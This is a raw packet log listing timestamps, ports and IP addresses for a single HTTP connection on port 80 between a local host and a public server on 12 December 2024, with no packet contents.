Dec 12, 2024 21:50:47.976768017 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.976777077 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.976840019 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.977896929 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.977963924 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.979306936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.979444981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.980503082 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.980634928 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.981591940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.981653929 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.982817888 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.982918024 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.983870029 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.984019041 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.984891891 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.984987020 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.985754013 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.985754013 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.985950947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.986227036 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.986453056 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.987107992 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.987204075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.987571001 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.988209009 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.988282919 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.988356113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.988404989 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.989367008 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.989413977 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.989459991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.989502907 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.990545988 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.990596056 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.990612984 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.990657091 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.991699934 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.991744995 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.991779089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.991820097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.992810965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.992861986 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.992897034 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.992938042 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.993942022 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.994014025 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.994039059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.994076014 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.995091915 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.995138884 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.995152950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.995193005 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.996248007 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.996306896 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.996457100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.996496916 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.997375011 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.997427940 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.997510910 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.997549057 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:47.998538017 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.998620987 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.999713898 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.999792099 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:47.999814987 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.000066996 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.000837088 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.000885963 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.000943899 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.000984907 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.001974106 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.002034903 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.002055883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.002098083 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.003129959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.003173113 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.003236055 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.003277063 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.004329920 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.004380941 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.004417896 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.004466057 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.005496025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.005549908 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.005599976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.005651951 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.006799936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.006860971 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.006877899 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.006925106 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.007803917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.007858038 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.007899046 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.008013964 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.011086941 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.011099100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.011106014 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.011308908 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.011475086 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.011537075 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.011604071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.011615992 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.011665106 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.012582064 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.012691975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.012701035 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.012783051 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.013695002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.013773918 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.013803005 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.013863087 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.014796972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.014898062 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.014974117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.015100002 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.015888929 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.015978098 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.016058922 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.016175985 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.017131090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.017209053 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.017282963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.017412901 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.018456936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.018579006 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.019969940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.020056963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.020220041 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.021017075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.021229982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.021852970 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.022469997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.022553921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.022845030 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.023618937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.023690939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.023708105 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.023771048 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.024637938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.024694920 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.024717093 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.024810076 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.025593042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.025671959 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.025687933 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.025762081 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.026638031 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.026705027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.026717901 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.026799917 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.027666092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.027745008 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.027774096 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.027832031 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.028789997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.028872013 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.028888941 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.028964996 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.029990911 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.030035019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.030071974 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.030158997 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.030833006 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.030893087 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.030915022 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.031002045 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.163656950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.163754940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.163908005 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.164036989 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.164712906 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.165077925 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.165167093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.165550947 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.166248083 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.166304111 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.167036057 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.167175055 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.168207884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.168337107 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.169365883 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.169406891 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.169450998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.169995070 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.170548916 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.170654058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.170811892 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.171720982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.171837091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.171890974 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.172786951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.172909021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.172915936 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.172959089 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.173969030 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.174079895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.174182892 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.175157070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.175246954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.175331116 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.176315069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.176378965 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.176400900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.176707983 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.177408934 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.177496910 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.177506924 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.177544117 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.178586960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.178680897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.179711103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.179764986 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.180567026 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.180819988 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.180938959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.182044983 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.182132959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.183135986 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.183253050 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.184433937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.184652090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.185494900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.185619116 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.186264992 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.186373949 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.186616898 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.186773062 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.186893940 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.187745094 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.187835932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.187851906 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.187885046 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.189057112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.189125061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.189132929 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.189516068 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.190054893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.190140009 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.190258026 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.191157103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.191251993 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.191431999 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.191498041 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.192487955 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.192544937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.192861080 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.193694115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.193828106 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.193861008 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.193877935 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.194781065 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.194840908 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.194941998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.195014000 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.195950985 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.196007013 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.196191072 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.197210073 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.197319031 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.197361946 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.197483063 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.198575974 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.198661089 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.198745012 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.198832989 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.199868917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.199954033 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.199970007 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.199996948 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.201009989 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.201060057 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.201097012 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.201159954 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.202258110 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.202308893 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.202326059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.202446938 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.203373909 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.203457117 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.203476906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.203641891 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.204644918 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.204740047 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.204758883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.204981089 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.205491066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.205585003 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.205586910 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.205708027 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.206507921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.206607103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.206614017 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.206758976 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.207395077 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.207473993 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.207556009 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.208554029 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.208619118 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.208655119 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.209151983 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.209609032 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.209677935 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.209719896 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.209866047 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.210763931 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.210848093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.210964918 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.211920977 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.212022066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.212079048 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.213038921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.213103056 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.213135004 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.213303089 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.214205980 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.214273930 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.214396000 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.214508057 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.215337038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.215493917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.215533972 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.215555906 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.216511965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.216588974 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.216624022 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.216645956 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.217667103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.217719078 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.217747927 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.217788935 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.218802929 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.218852997 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.218931913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.218972921 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.219984055 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.220029116 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.220062971 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.220104933 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.221153975 CET	80	49971	31.41.244.11	192.168.2.6
